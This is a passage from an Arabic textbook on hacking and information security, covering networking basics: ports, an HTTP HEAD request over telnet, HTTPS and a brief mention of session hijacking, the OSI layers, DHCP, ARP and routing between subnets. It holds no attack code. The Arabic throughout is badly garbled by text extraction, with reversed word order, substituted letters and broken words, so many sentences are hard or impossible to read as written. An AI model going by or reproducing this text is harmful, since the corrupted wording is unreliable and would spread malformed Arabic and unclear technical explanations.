‫من‬ ‫أنت‬ ‫تريدذا‬ ‫التي‬ ‫للصفحة‬ web server ، ‫ال‬ ‫ينتظر‬ ‫دوره‬‫ب‬ ‫الذي‬ connections ‫من‬ ‫ال‬ browsers ‫وذي‬ ‫ال‬ (Clients) ‫ال‬ ‫عىل‬ port 80 . ‫عند‬ ً‫ال‬‫قلي‬ ‫سنتوقف‬ ‫ال‬ Ports .. ‫ال‬ ‫قيكون‬ ‫ح‬ِّ‫ف‬‫تص‬ُ‫مل‬‫ا‬ ‫باستخدام‬ ُ‫نحن‬ ‫نتصل‬ ‫ندما‬‫ع‬ port ‫نا‬‫ب‬ ‫اخلاص‬ “Local Port” ‫ل‬‫م‬ َ ‫حي‬ ‫من‬ ‫أعىل‬ ‫عشوائي‬ ‫رقم‬ 1023 ، ‫ال‬ ‫وينتظر‬ Server ‫ال‬ Connection ‫ال‬ ‫عىل‬ ‫ا‬‫ن‬‫م‬ Port ‫ورقمه‬ ..‫ذو‬ ‫به‬ ‫اخلاص‬ (80) . ‫ُسميه‬‫ن‬ “Remote Port” .‫لنا‬ ‫بالنسبة‬
  • 149.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [149] ‫ال‬ ُ‫نحن‬ ‫ا‬‫كن‬ ‫ولذا‬ Server ‫ال‬ ‫سيكون‬ .. “Local Port” ‫ذو‬ (80) ‫ال‬ ‫ويكون‬ “Remote Port” ‫ذو‬ 1024 . ‫ال‬ ‫ذذا‬..‫املهم‬ request ‫ى‬‫سم‬ُ‫ي‬ ‫أمر‬‫ب‬ ‫ث‬ُ‫د‬ َ ‫حي‬ Get ‫بال‬ ‫م‬ُ‫ث‬ ،‫الصفحة‬‫ب‬ ‫اخلاص‬ ‫سار‬َ‫مل‬‫ا‬‫ب‬ ‫تبوع‬َ‫م‬ protocol version ‫اخلاص‬ ‫بال‬ HTTP َ‫ي‬ ‫م‬ُ‫ث‬ . ‫ال‬ ‫قوم‬ server ‫ل‬َ‫م‬َ‫ع‬‫ب‬ respond ‫بال‬ ‫لك‬ content ‫ال‬ ‫عض‬َ‫ب‬ ‫قها‬‫سب‬َ‫ي‬ ،‫ُريد‬‫ت‬ ‫التي‬ Headers ، ‫عن‬ ‫ارة‬َ‫ب‬‫ع‬ ‫اخلاص‬ ‫علومات‬َ‫مل‬‫ا‬ ‫بعض‬ ‫ة‬ ‫بال‬ Server .. . ‫تأمل‬ :‫ثال‬‫امل‬ ‫ذا‬َ‫ذ‬ ‫معي‬ ‫األمر‬ ‫باستخدام‬ ‫منا‬ُ‫ق‬ Head ‫ن‬‫م‬ ً‫ال‬َ‫د‬َ‫ب‬ Get ‫ال‬ ‫من‬ ‫ققط‬ ‫ُريد‬‫ن‬ ‫ألننا‬ Server ‫ال‬ ‫نا‬َ‫ل‬ ‫ل‬‫رس‬ُ‫ي‬ ‫أن‬ Headers ‫اخل‬ ‫ُريد‬‫ن‬ ‫ال‬ ..‫ه‬‫ب‬ ‫اصة‬ ‫الصفح‬ ‫حتميل‬ ‫ة‬ .!‫اآلن‬ reader@hacking:~/booksrc $ telnet www.internic.net 80 Trying 208.77.188.101... Connected to www.internic.net. Escape character is '^]'. HEAD / HTTP/1.0 HTTP/1.1 200 OK Date: Fri, 14 Sep 2007 05:34:14 GMT Server: Apache/2.0.52 (CentOS) Accept-Ranges: bytes Content-Length: 6743 Connection: close Content-Type: text/html; charset=UTF-8 Connection closed by foreign host. reader@hacking:~/booksrc $ ‫كام‬ ‫ن‬ ‫املوقع‬ ‫ذذا‬ ‫أن‬ ‫ربنا‬ ُ ‫خي‬ ‫قهو‬ ‫رى‬ “hosted on web server called Apache” .
  • 150.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [150] ‫ذو‬ ‫التشغيل‬ ‫نظام‬ ‫ونوع‬ CentOS ، ‫توزيعات‬ ‫من‬ ‫توزيعة‬ ‫وذي‬ Linux . ‫ال‬ ‫ذذا‬ ( HTTP ) ‫ال‬ ‫يف‬ ‫م‬َ‫ستخد‬ُ‫ي‬ ‫ال‬ sessions ‫ال‬ ‫مثل‬ Logins ‫ال‬ ‫أو‬ E-payment ، ‫أي‬ ‫أو‬ session ‫همة‬ُ‫م‬ ، ‫بل‬ ُ‫ي‬ َ‫ت‬‫س‬ َ‫خد‬ ‫م‬ ‫ال‬ ( HTTPS ) ،!‫لذلك‬ ‫ويعني‬ “HTTP over SSL or over TLS” ، ‫أو‬ “HTTP Secure” ، ‫ذذ‬ ‫يف‬ ‫أننا‬ ‫نا‬ُ‫ذ‬ ‫الفرق‬ ‫ا‬ ‫ال‬ ‫من‬ ‫النوع‬ sessions ‫املار‬ ‫البيانات‬ ‫بتشفري‬ ‫سنقوم‬ ‫ة‬ ‫ال‬ ‫بني‬ browser ‫ال‬ ‫و‬ Web Server ‫ال‬ ‫أو‬ Mail Server ‫عىل‬ ‫ال‬ ‫بروتوكول‬ ‫باستخدام‬ ،‫املثال‬ ‫سبيل‬ SSL ‫ال‬ ‫أو‬ TLS . ‫يف‬ ‫سنتعرض‬ ‫الرابع‬ ‫الباب‬ ‫ال‬ ‫لربوتوكول‬ SSL ‫من‬ ‫بمزيد‬ .‫التفصيل‬ ‫ال‬ ‫بتفعيل‬ ‫املواقع‬ ‫بعض‬ ‫تقوم‬ HTTPS ‫أول‬ ‫يف‬ Session ‫ال‬ ‫وذي‬ Login ، ‫بال‬ ‫لتتعامل‬ ‫تعود‬ ‫ثم‬ HTTP ‫أطرى‬ ً‫ة‬‫مر‬ ‫ال‬ ‫أن‬ ‫باعتبار‬ Sessions ‫الت‬ ‫تليها‬ ‫ي‬ ‫ال‬ ‫بقدر‬ ‫أمهية‬ ‫ذات‬ ‫ليست‬ Login ، ‫ال‬ ‫حتت‬ ‫ج‬‫ر‬َ‫ند‬ُ‫مل‬‫ا‬ ‫اهلجامت‬ ‫من‬ ‫نوع‬ ‫قانترش‬ Session Hijacking ‫ال‬ ‫ن‬‫م‬ ‫لتنتهي‬ ‫دذم‬ َ‫أح‬ ‫ك‬ ُ‫ر‬‫َظ‬‫ت‬‫ن‬َ‫ي‬ ‫أن‬‫ب‬ Secured Login ‫ال‬ ‫عىل‬ ‫ز‬‫قف‬َ‫ي‬‫ل‬ ‫يأيت‬ ‫م‬ُ‫ث‬ Sessions ‫تليها‬ ‫التي‬ ‫ال‬ ‫بروتوكول‬ ‫حينها‬ ‫ل‬َ‫م‬‫َعا‬‫ت‬َ‫ي‬ ُ ‫يث‬ َ‫ح‬ HTTP ‫عملية‬ ‫قسينتظر‬ ‫نتدى‬ُ‫م‬ ‫يف‬ ‫الدطول‬ ‫ل‬ِّ‫ُسج‬‫ت‬ ‫كنت‬ ‫لذا‬ ً‫ال‬‫قمث‬ ،!‫ن‬‫آم‬ ‫الغري‬ ‫ال‬ ‫ل‬َ‫م‬َ‫ع‬‫ب‬ ‫قوم‬َ‫ي‬ ‫م‬ُ‫ث‬ ،‫الدطول‬ ‫تسجيل‬ " Session Riding " ‫بال‬ ‫ل‬ُ‫م‬‫َعا‬‫ت‬‫ال‬ ‫حينها‬ ُ‫ه‬ُ‫ن‬‫مك‬ُ‫ي‬‫و‬ Account .‫بك‬ ‫اخلاص‬ ‫تقوم‬ Google ‫ثال‬‫امل‬ ‫سبيل‬ ‫عىل‬ ‫بتفعيل‬ HTTPS ‫ا‬‫طدماهت‬ ‫مجيع‬ ‫عىل‬ ‫وحتى‬ ‫للدطول‬ ‫بتسجيلك‬ ً‫ا‬‫بدء‬ ‫تسجيل‬ ‫طروجك‬ . ‫ال‬ ‫يوجد‬ ‫عديد‬ ‫ن‬‫م‬ ‫املصادر‬ َ‫ع‬‫الواق‬ ‫امت‬َ‫ج‬َ‫اهل‬ ‫ن‬‫م‬ ‫امية‬‫احل‬ ‫وأساليب‬ ‫حات‬ِّ‫ف‬‫َص‬‫ت‬ُ‫مل‬‫با‬ ‫قة‬ِّ‫ل‬‫تع‬ُ‫مل‬‫ا‬ ‫األمور‬ ‫ل‬َ‫تتناو‬ ‫التي‬ ‫ة‬ ‫ال‬ ‫ثل‬‫م‬ ‫عليها‬ XSS ..‫وغريذا‬ ‫ذجامت‬ ‫ألنواع‬ ‫بالتعرض‬ ‫قمنا‬ ‫ال‬ XSS ‫التف‬ ‫من‬ ‫بيشء‬ ‫يف‬ ‫صيل‬ ‫ال‬ Appendix ‫املوجود‬ ‫ة‬ ‫الكتاب‬ ‫آطر‬ ‫يف‬ ‫يمكنك‬ ، .‫مراجعتها‬
  • 151.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [151] The Big Picture ‫أي‬ ‫من‬ ‫اآلن‬ ‫منزل‬ ‫أي‬ ‫خيلو‬ ‫ال‬ device ‫يف‬ ‫وبدهيي‬ ‫أسايس‬ ‫يشء‬ ‫أصبح‬ ‫قاالنرتنت‬ ،!‫اإلنرتنت‬ ‫دطول‬ ‫من‬ ‫لصاحبه‬ ‫ِّن‬‫ك‬َ‫م‬ُ‫ي‬ ‫م‬َ َ ‫حرت‬ُ‫مل‬‫ا‬ ‫د‬ِّ‫ي‬‫للس‬ ‫َن‬‫ت‬ ُ ‫ُم‬ ‫غري‬ ‫ّا‬‫ن‬‫م‬ ‫ن‬َ‫م‬َ‫ق‬ ،‫حياتنا‬ “Google” ،‫!؟‬ ‫ق‬ ‫د‬َ‫ق‬ َ ‫دث‬‫ح‬َ‫أ‬ ‫حياتنا‬ ‫يف‬ ‫ة‬ َ‫فر‬َ‫ط‬ ‫نا‬َ‫ل‬ .! ‫ب‬ ‫َم‬‫ت‬‫َه‬‫ن‬ َ ‫س‬ ‫أننا‬ ‫وبام‬ ‫عن‬ ‫احلديث‬ ‫كات‬َ‫ب‬ ّ ‫ش‬ ‫احلاسب‬ ‫قسنقوم‬ ، ‫بإجراء‬ ‫ال‬ ‫داطل‬ ‫ري‬ َ ‫جي‬ ‫ا‬‫مل‬ ‫يعة‬ َ ‫ِس‬ ‫راجعة‬ُ‫م‬ .OSI Layers ‫ال‬ ‫باستخدام‬ ‫االنرتنت‬ ‫ح‬ُّ‫ف‬‫بتص‬ ‫تقوم‬ ‫أنك‬ ‫نفرض‬‫ل‬ browser ، ‫ال‬ ‫مع‬ ‫تتعامل‬ ‫اآلن‬ ‫أنت‬ Layer 7 ‫ال‬ ‫وذي‬ App Layer ، ‫اإللكرت‬ ‫بريدك‬ ‫تتفقد‬ ‫ربام‬ ‫ال‬ ‫بروتوكول‬ ‫حينها‬ ‫قتستخدم‬ ،‫وين‬ SMTP ‫ال‬ ‫مع‬ POP3 ‫ال‬ ‫داطل‬ ‫تتجول‬ ‫بام‬ُ‫ر‬ ‫أو‬ ،ً‫ا‬‫مع‬ Google+ ‫ال‬ ‫بروتوكول‬ ‫باستخدام‬ ‫اآلمن‬ ‫بالتصفح‬ ‫تستمتع‬ ‫حينها‬ ‫قتكون‬ ،‫الشخيص‬ ‫بحسابك‬ HTTPS ، ‫تقوم‬ ‫ربام‬ ‫أو‬ ‫بعمل‬ Upload ‫ال‬ ‫بروتوكول‬ ‫تستخدم‬ ‫حينها‬ ‫قتكون‬ ‫املواقع‬ ‫ألحد‬ ‫امللفات‬ ‫لبعض‬ FTP .‫الخ‬... ، ‫قتح‬ ‫من‬ ‫البد‬ ‫حتدث‬ ‫كي‬ ‫األمور‬ ‫ذذه‬ Sockets ‫ال‬ ‫مع‬ end points ‫ال‬ ‫يف‬ ‫ذلك‬ ‫يتم‬ ، Session Layer ‫املسؤول‬ ‫قهي‬ ‫ة‬ ‫عن‬ ‫ال‬ ‫توقري‬ interface ‫ال‬ ‫ذا‬َ‫رب‬َ‫ع‬ ‫ل‬‫َقب‬‫ت‬‫َس‬‫ن‬ ‫أو‬ ‫ل‬‫ُرس‬‫ن‬ َ ‫س‬ ‫التي‬ data . ‫ال‬ ‫ه‬‫ذ‬َ‫ذ‬ interface ‫ال‬ ‫أو‬ Socket َ ‫س‬ ‫ت‬ ‫ن‬َ‫أ‬ ‫حتاج‬ ‫ت‬ ‫عىل‬ ‫د‬‫َم‬‫ت‬‫ع‬ ‫ال‬ ‫َوصيل‬‫ت‬‫ل‬ ‫بروتوكول‬ data ‫ذذه‬ ‫أليس‬ ، ‫كذلك؟‬ ‫لما‬ ‫سيكون‬ ‫الربوتوكول‬ ‫ذذا‬ TCP ‫أو‬ UDP ، ‫ال‬ ‫يف‬ ‫ع‬َ‫ق‬َ‫ي‬ ‫م‬ُ‫الذ‬‫وك‬ Transport Layer ‫َيل‬‫ت‬ ‫التي‬ ‫ة‬َ‫ق‬َ‫ب‬َ‫ط‬‫ال‬ ‫لهنا‬ ، ‫ال‬ Session Layer .. ‫ال‬ ‫ذذا‬ ‫ل‬‫م‬‫ك‬ُ‫ي‬ ‫لكي‬ ‫ولكن‬ TCP ‫ال‬ ‫ليصال‬ ‫قسيحتاج‬ ،ُ‫ه‬‫ل‬َ‫م‬َ‫ع‬ Data ‫ال‬ ‫لىل‬ Destination ‫عىل‬ ‫بذلك‬ ً‫ا‬‫د‬‫عتم‬ُ‫م‬ ، ‫ال‬ Layer 3 ‫ال‬ ‫وذي‬ ، Network Layer .
  • 152.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [152] ‫ال‬ ‫ذذه‬ ‫أن‬ ‫ض‬‫َفر‬‫ن‬‫ل‬ ‫واآلن‬ “Destination End Point” ‫بار‬‫ع‬ ‫ة‬ ‫عن‬ ‫جهاز‬ ‫يف‬ ‫يقع‬ ،‫حملية‬ ‫شبكة‬ LAN (Local Area Network) ، ‫ِبا‬ ‫سيكون‬ ‫بالطبع‬ router ‫ك‬ ‫ل‬َ‫عم‬َ‫ي‬ Gateway ‫و‬ ، Switch ‫يربط‬ ‫األجهز‬ ‫ة‬ ،‫بالشبكة‬ ..‫جيد‬ ُ‫ن‬ ‫ود‬ ‫ال‬ ‫ذذه‬ ‫ليصال‬ packet ‫هلذا‬ ‫ا‬ ‫جلهاز‬ ! ‫وذو‬ ، ‫متصل‬ ‫بال‬ Switch ‫ع‬ ‫ال‬ ‫طريق‬ ‫ن‬ network cable . ..ً‫ا‬‫حسن‬ ‫ل‬‫َص‬‫ت‬ ‫عندما‬ ‫ال‬ packet ‫ال‬ ‫لىل‬ router ‫ال‬ ‫لىل‬ ‫وتذذب‬ switch ‫ال‬ ‫مة‬‫ه‬ُ‫م‬ ‫حينها‬ ‫ستنتهي‬ Layer 3 ، ‫ال‬ ‫مة‬‫ه‬ُ‫م‬ ‫وتبدأ‬ Layer 2 ‫ال‬ ‫وذي‬ Data-Link Layer ، ‫ال‬ ‫بإيصال‬ ‫الطبقة‬ ‫ذذه‬ ‫ستقوم‬ “frame” ‫اجل‬ ‫ذذا‬ ‫لىل‬ ‫هاز‬ ‫ال‬ ‫باستخدام‬ Link Layer Protocols ، ‫و‬ ‫ينقل‬ ‫ال‬ cable ‫ال‬ ‫ذذا‬ frame ‫ذيئة‬ ‫عىل‬ bits and bytes ُ‫ه‬‫ألن‬ ُ‫ي‬ ِّ‫ث‬‫م‬ ‫ال‬ ‫ل‬ (Physical Layer) Layer 1 ، ‫بال‬ ‫ى‬‫سم‬ُ‫ي‬ ‫ما‬ ‫ذذا‬ “Service Block” ‫لتكتمل‬ ‫األطرى‬ ‫عىل‬ ‫طبقة‬ ‫كل‬ ‫اعتامدية‬ ‫وذو‬ ،ً‫ا‬‫سابق‬ ‫ُك‬‫ت‬‫أطرب‬ ‫كام‬ ‫ال‬ ‫عملية‬ Communications .‫األنظمة‬ ‫بني‬ ‫عىل‬ ً‫ال‬‫قلي‬ ‫الضوء‬ ‫بتسليط‬ ‫سنقوم‬ ‫من‬ ‫كل‬ ( Layer 2, 3, and 4 ) .‫القادمة‬ ‫املرحلة‬ ‫يف‬ ‫ألمهيتهم‬ ‫معرق‬ ‫لديك‬ ‫كانت‬ ‫لذا‬ ‫ة‬ ‫ال‬ ‫بال‬ ‫ِبا‬ ‫بأس‬ OSI Model ‫نك‬‫مك‬ُ‫ي‬‫ق‬ ‫القادمة‬ ‫ققرات‬ ‫الثالث‬ ‫جتاوز‬ . Layer 2 (Data-Link) ‫ال‬ ‫ذذه‬ ‫عن‬ ‫تكلمنا‬ ‫قد‬ ‫ُنا‬‫ك‬ Layer ‫الفصل‬ ‫ذذا‬ ‫بداية‬ ‫يف‬ ‫بينام‬ ‫ال‬ ‫ُوضح‬‫ن‬ ‫ا‬‫ُن‬‫ك‬ OSI Model ، ‫ذ‬ ُ ‫سنأط‬ ‫واآلن‬ ‫من‬ ‫بيشء‬ ‫ذا‬ ‫ال‬ ‫برتوكول‬ ‫بأن‬ ً‫ا‬‫سابق‬ ‫أرشنا‬ ‫كام‬ .‫التفصيل‬ Ethernet ‫وظيفته؟‬ ‫ذي‬ ‫قام‬ ،‫الطبقة‬ ‫ذذه‬ ‫يف‬ ‫يتواجد‬
  • 153.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [153] ‫يمتلك‬ ‫أن‬ ‫قالبد‬ ‫الشبكة‬ ‫لىل‬ ‫يدطل‬ ‫أن‬ ‫يريد‬ ‫جهاز‬ ‫ألي‬ NIC ،‫الشبكة‬ ‫كارت‬ ‫وذو‬ ‫ال‬ ‫ذذا‬ device ‫عليه‬ ‫يطلق‬ ،‫آطر‬ ‫عنوان‬ ‫أي‬ ‫مع‬ ‫يتشابه‬ ‫ال‬ ،‫به‬ ‫طاص‬ ‫عنوان‬ ‫سيمتلك‬ ‫حينها‬ Physical Address ‫ال‬ ‫أو‬ MAC (Media Access Control) ، ‫ال‬ ‫ذذا‬ ‫يتكون‬ address ‫من‬ 6 bytes ‫ال‬ ‫بصيغة‬ ‫يظهر‬ Hex . ‫ييل‬ ‫كام‬ : xx:xx:xx:xx:xx:xx ‫تقوم‬ ‫ال‬ Data-Link Layer ‫ب‬ ‫توصيل‬ ‫ال‬ frames ‫آطر‬ ‫لىل‬ ‫جهاز‬ ‫من‬ ‫ال‬ ‫نفس‬ ‫داطل‬ Broadcast Domain . ‫أحد‬ ‫أراد‬ ‫لن‬ ‫ماذا‬ ‫ولكن‬ ‫األجهز‬ ‫ة‬ ‫داطل‬ ‫الشبك‬ ‫ة‬ ‫لرس‬ ‫ال‬ packet ‫الشبك‬ ‫طارج‬ ‫يقع‬ ‫جهاز‬ ‫لىل‬ ‫ة‬ ‫؟‬ ‫البداي‬ ‫يف‬ ‫دعني‬ ‫ة‬ ‫املتعلق‬ ‫األساسيات‬ ‫بعض‬ ‫عن‬ ‫معك‬ ‫أحتدث‬ ‫ة‬ ‫الشبك‬ ‫يف‬ ‫ما‬ ٍ‫جهاز‬ ‫حصول‬ ‫بكيفية‬ ‫ة‬ ‫ال‬ ‫عىل‬ IP ‫به‬ ‫اخلاص‬ ‫ال‬ ‫طريق‬ ‫عن‬ DHCP Server ‫ال‬ ‫بروتوكول‬ ‫ووظيفة‬ ARP ‫العملي‬ ‫ذذه‬ ‫يف‬ ‫ة‬ . ‫بالشبك‬ ‫جهاز‬ ‫بتوصيل‬ ‫سنقوم‬ ‫ة‬ ُ ‫حيث‬ ‫ِبا‬ ‫يوجد‬ DHCP Server .. ‫ال‬ ‫اجلهاز‬ ‫ذذا‬ ‫سيتلقى‬ ‫كيف‬ ‫لنشاذد‬ IP .‫به‬ ‫اخلاص‬ ‫ق‬ ‫يمتلك‬ ‫ال‬ ‫اجلهاز‬ ‫هذا‬ IP !‫بعد‬ ، ‫يمتلك‬ ‫ققط‬ ‫ذو‬ MAC .. ‫ق‬ ‫سيحدث‬ :‫التايل‬ ‫الشكل‬ ‫يف‬ ‫ملا‬ ‫مشابه‬ ‫سيناريو‬ Optaining an address
  • 154.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [154] ‫يقوم‬ ‫اجلهاز‬ ‫بإرسال‬ Broadcast ‫الشبك‬ ‫داطل‬ ‫ة‬ ‫ال‬ ‫يكون‬ ‫حيث‬ Source port: 68 Destination port: 67  ‫وملا‬ ‫ال‬ ‫ذذا‬ ‫ذا‬ Port 67 ‫؟‬ ‫ال‬ ‫ألن‬ DHCP Server ‫يستقبل‬ ‫ال‬ connections ‫عل‬ .!‫يه‬ ‫ال‬ ‫قيقوم‬ DHCP ‫ال‬ ‫بإرسال‬ IP ‫املقرتح‬ .‫اجلهاز‬ ‫هلذا‬  ‫ال‬ ‫استالم‬ ‫بعد‬ ‫وماذا‬ IP ‫من‬ ‫ال‬ Server ‫؟‬ ‫ال‬ ‫اجلهاز‬ ‫يستلم‬ ‫أن‬ ‫بعد‬ IP ‫اجلديد‬ ‫ال‬ ‫من‬ DHCP ‫عىل‬ ‫يستخدمه‬ ‫قلن‬ ‫أنه‬ ‫من‬ ً‫ال‬‫أو‬ ‫بالتأكد‬ ‫سيقوم‬ ،!‫الفور‬ ‫ع‬ُ‫م‬ ‫غري‬ ‫ج‬ ‫ألي‬ ‫طى‬ ‫عىل‬ ‫آطر‬ ‫هاز‬ ،‫الشبكة‬ ‫اجلهاز‬ ‫ذذا‬ ‫ل‬‫س‬ ُ ‫سري‬ ‫حينها‬ Packet (Gratuitous ARP) ‫يف‬ ‫لألجهزة‬
  • 155.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [155] ‫ال‬ ‫ذذا‬ ‫استخدام‬ ‫يريد‬ ‫بأنه‬ ‫الشبكة‬ IP ، ‫ال‬ ‫ذذا‬ ‫يمتلك‬ ‫األجهزة‬ ‫أحد‬ ‫كان‬ ‫قإن‬ IP ‫بالفعل‬ ! ‫ق‬ ‫بإرسال‬ ‫سيقوم‬ "already in use" ARP packet ، ‫ال‬ ‫بمحادثة‬ ‫اجلهاز‬ ‫ذذا‬ ‫سيقوم‬ ‫حينها‬ DHCP Server ‫منه‬ ‫ليطلب‬ ‫أطرى‬ ً‫ة‬‫مر‬ IP .‫األمر‬ ‫ت‬ُ‫ب‬‫يث‬ ‫حتى‬ ‫وذكذا‬ ،‫ُمتلف‬ ‫ال‬ ‫الشكل‬ ‫يف‬ ‫يظهر‬ ARP Packet ‫الشبكة‬ ‫لىل‬ ‫اجلهاز‬ ‫رسلها‬ُ‫ي‬ ‫من‬ ‫يتأكد‬‫ل‬ ‫ال‬ ‫سالمة‬ IP .‫اجلديد‬ ARP Messages ‫نوعني‬ ‫عن‬ ‫سنتكلم‬ ..‫واآلن‬ ‫ال‬ ‫من‬ ARP messages ‫وذ‬ :‫م‬ “ARP request and reply” ‫ال‬ ‫ذذا‬ ARP request or reply ‫ال‬ ‫بقية‬ ‫مثل‬ ‫مثله‬ ‫الشبكة‬ ‫يف‬ ‫يسري‬ frames . ‫ال‬ ‫بقية‬ ‫عن‬ ُ‫ه‬‫ف‬‫ُصن‬‫ن‬ ‫أن‬ ‫لنا‬ ‫قكيف‬ frames ‫األطرى؟‬ . ..‫نعم‬ ‫ال‬ ‫يف‬ ‫يقع‬ Header ‫ال‬ ‫هلذا‬ frame ‫ال‬ ‫أو‬ Ethernet ‫ال‬ ‫ذذا‬ ‫نوع‬ ‫عن‬ ‫تعرب‬ ‫طانة‬ Ethernet ‫كان‬ ‫لذا‬ ‫ما‬ ARP-type ‫أو‬ IP-packet . ‫سنأيت‬ ‫لليه‬ ‫التفصيل‬ ‫من‬ ‫بمزيد‬ ‫الثا‬ ‫الباب‬ ‫يف‬ ً‫ا‬‫الحق‬ ‫لث‬ .
  • 156.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [156] ‫الشكل‬ ‫يوضح‬ ‫ال‬ ARP request and reply ، ‫أن‬ ‫يبدو‬ PC1 ‫يمتلك‬ ‫ال‬ ‫ال‬ MAC ‫لل‬ ‫املقابل‬ IP 192.168.100.102 ‫ال‬ ‫يف‬ ARP Cache ‫بإرسال‬ ‫قيقوم‬ ،‫به‬ ‫اإلتصال‬ ‫يستطيع‬ ‫لن‬ ‫وبالتايل‬ ،!‫لديه‬ ARP Request ‫ال‬ ‫لىل‬ switch ‫ليستعلم‬ ‫ال‬ ‫ذذا‬ ‫عن‬ MAC ، ‫ال‬ ‫يستقبل‬ Switch ‫ال‬ ‫ذذا‬ ARP request ‫ويق‬ ‫بعمل‬ ‫وم‬ flood ‫له‬ ‫ال‬ ‫مجيع‬ ‫من‬ ports ‫ال‬ ‫باستثناء‬ port ‫ال‬ ‫ذذا‬ ‫منه‬ ‫أتى‬ ‫الذي‬ request ، ‫ال‬ ‫ذذا‬ ‫حيمل‬ ‫الذي‬ ‫اجلهاز‬ ‫باستثناء‬ ‫الرسالة‬ ‫ذذه‬ ‫األجهزة‬ ‫مجيع‬ ‫همل‬ُ‫ي‬‫س‬ ‫ذنا‬ IP 192.168.100.102 ، ‫ق‬ ً‫ال‬‫رس‬ُ‫م‬ ‫بالرد‬ ‫يقوم‬ ARP reply msg ‫ال‬ ‫لىل‬ switch ‫يقوم‬ ‫الذي‬ ‫ال‬ ‫ذذا‬ ‫بربط‬ ‫بدوره‬ MAC ‫اجلديد‬ ‫بال‬ port ‫ال‬ ‫ذذا‬ ‫منه‬ ‫جاء‬ ‫الذي‬ reply ، ‫ثم‬ ‫يقوم‬ ‫ال‬ ‫ذذا‬ ‫طلب‬ ‫الذي‬ ‫اجلهاز‬ ‫لىل‬ ‫بإرساهلا‬ MAC ، ‫اجلهاز‬ ‫ذذا‬ (PC1) ‫لديه‬ ARP Cache ‫األجهز‬ ‫عناوين‬ ‫ِبا‬ ‫يضع‬ ‫ة‬ ‫الشبك‬ ‫يف‬ ‫معه‬ ‫التي‬ ‫ة‬ ‫وال‬ MAC Addresses ‫املناظر‬ ‫ة‬ ‫قيقوم‬ .‫هلا‬ ‫بعمل‬ Update ‫ال‬ ‫هلذا‬ table .‫لديه‬
  • 157.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [157] Sending Packet outside domain ‫البداي‬ ‫يف‬ ‫طرحناه‬ ‫الذي‬ ‫السؤال‬ ‫لىل‬ ‫نأيت‬ ‫ة‬ ..! ‫األجهز‬ ‫أحد‬ ‫أراد‬ ‫لن‬ ‫ماذا‬ ‫ة‬ ‫لرسال‬ packet ‫ال‬ ‫طارج‬ ‫ما‬ ‫لوجهة‬ Subnet ‫؟؟‬ . ‫يرغب‬ ‫عندما‬ PC1 ‫بإرسال‬ packet ‫لىل‬ PC3 ‫يرسل‬ ‫لن‬ ‫قإنه‬ ARP Request ‫ال‬ ‫عن‬ ‫ليستعلم‬ MAC ،‫به‬ ‫اخلاص‬ ‫ال‬ ‫ذذا‬ ‫أن‬ ‫يعلم‬ ‫ألنه‬ PC ‫يعد‬ unreachable ‫عوض‬ ‫يقوم‬ .. ‫ال‬ ‫باستخدام‬ ‫ذلك‬ ‫عن‬ ً‫ا‬ ARP ‫لعمل‬ MAP ‫لل‬ (Gateway IP: 192.168.1.254) ‫لىل‬ ‫ال‬ MAC ‫له‬ ‫املقابل‬ 00-00-0C-00-01 ، ‫ال‬ ‫ذو‬ ‫أنه‬ ‫عىل‬ ‫ويتعامل‬ Distination MAC ‫ال‬ ‫عىل‬ ‫اإلبقاء‬ ‫مع‬ (Dist. IP: 192.168.2.1) ‫عنوان‬ ‫وذو‬ PC3 . ‫ال‬ ‫يصل‬ ‫وعندما‬ frame ‫ال‬ ‫لىل‬ router ‫يقوم‬ ‫ال‬ ‫لىل‬ ‫بتسليمه‬ Network Layer ‫ال‬ ‫لزالة‬ ‫يتم‬ ‫حيث‬ MAC ‫ال‬ ‫يف‬ ‫والبحث‬ ‫منها‬ forwarding table ‫ال‬ ‫لدى‬ router ‫ال‬ ‫عن‬ interface ‫ال‬ ‫ذذا‬ ‫لليها‬ ‫ينتمي‬ ‫التي‬ IP ‫باجلهاز‬ ‫اخلاص‬ PC3 ، ‫ال‬ ‫ويستخدم‬ router ‫ال‬ ‫بروتوكول‬ ARP ً‫ا‬‫أيض‬
  • 158.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [158] ‫لعمل‬ MAP ‫ال‬ ‫هلذا‬ IP ‫ال‬ ‫لىل‬ MAC ‫ثم‬ ‫له‬ ‫املقابل‬ ‫ال‬ ‫يرسل‬ packet ‫ال‬ ‫لىل‬ switch ‫ال‬ ‫يف‬ ‫بالبحث‬ ‫بدوره‬ ‫يقوم‬ ‫الذي‬ CAM table ‫ال‬ ‫عن‬ ‫لديه‬ Port ‫لل‬ ‫املقابل‬ MAC ‫بال‬ ‫اخلاص‬ PC3 ‫ال‬ ‫يرسل‬ ‫ثم‬ frame ‫ال‬ ‫ذذا‬ ‫من‬ port . Layer 3 (Network) ‫ال‬ ‫طدمات‬ ‫لنا‬ ‫ُقدم‬‫ت‬ ‫التي‬ ‫الطبقة‬ ‫ذذه‬ Addressing and Delivery ،‫عام‬ ‫بشكل‬ ‫حتدثنا‬ ‫يف‬ ‫عنها‬ ‫بداية‬ ‫ذذا‬ ‫ال‬ ‫باب‬ ،ً‫ال‬‫قلي‬ ‫بحا‬ ‫لكننا‬ 